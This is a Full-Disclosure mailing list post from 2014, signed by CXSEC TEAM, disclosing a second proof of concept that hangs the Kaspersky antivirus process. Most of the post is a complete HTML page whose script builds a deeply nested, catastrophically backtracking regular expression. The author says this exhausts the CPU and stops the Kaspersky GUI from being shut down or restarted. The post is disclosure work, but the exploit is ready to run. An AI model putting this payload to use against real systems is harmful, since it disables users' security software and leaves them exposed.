Kaspersky has released updated for first PoC presented here http://www.youtube.com/watch?v=joa_9IS7U90 ( http://seclists.org/fulldisclosure/2014/Mar/166)
but there are still many combinations of evil patterns. For exmaple next PoC2 is available here https://www.youtube.com/watch?v=9PYtL0zck3I code: https://devilteam.pl/regex2.html ------ <HTML> <HEAD> <TITLE>RegExp Resource Exhaustion </TITLE> </HEAD> <BODY BGCOLOR="#FFFFFF"> <SCRIPT type="text/javascript"> var patt1=new RegExp("(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)"); document.write(patt1.exec("peace")); </SCRIPT> </BODY> </HTML> ------ These expression leads to hang up kaspersky process by CPU Exhaustion. Making it impossible to shut down and restart Kaspersky GUI. A weak implementation of RE difficult defense against this type of attack. In my opinion the most stable implementation of regular expressions is NetBSD/OpenBSD where the authors have reduced the risk of leakage of resources by the level of recursion. References: http://cxsecurity.com/issue/WLB-2014030108 Best regards, CXSEC TEAM http://cxsec.org/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
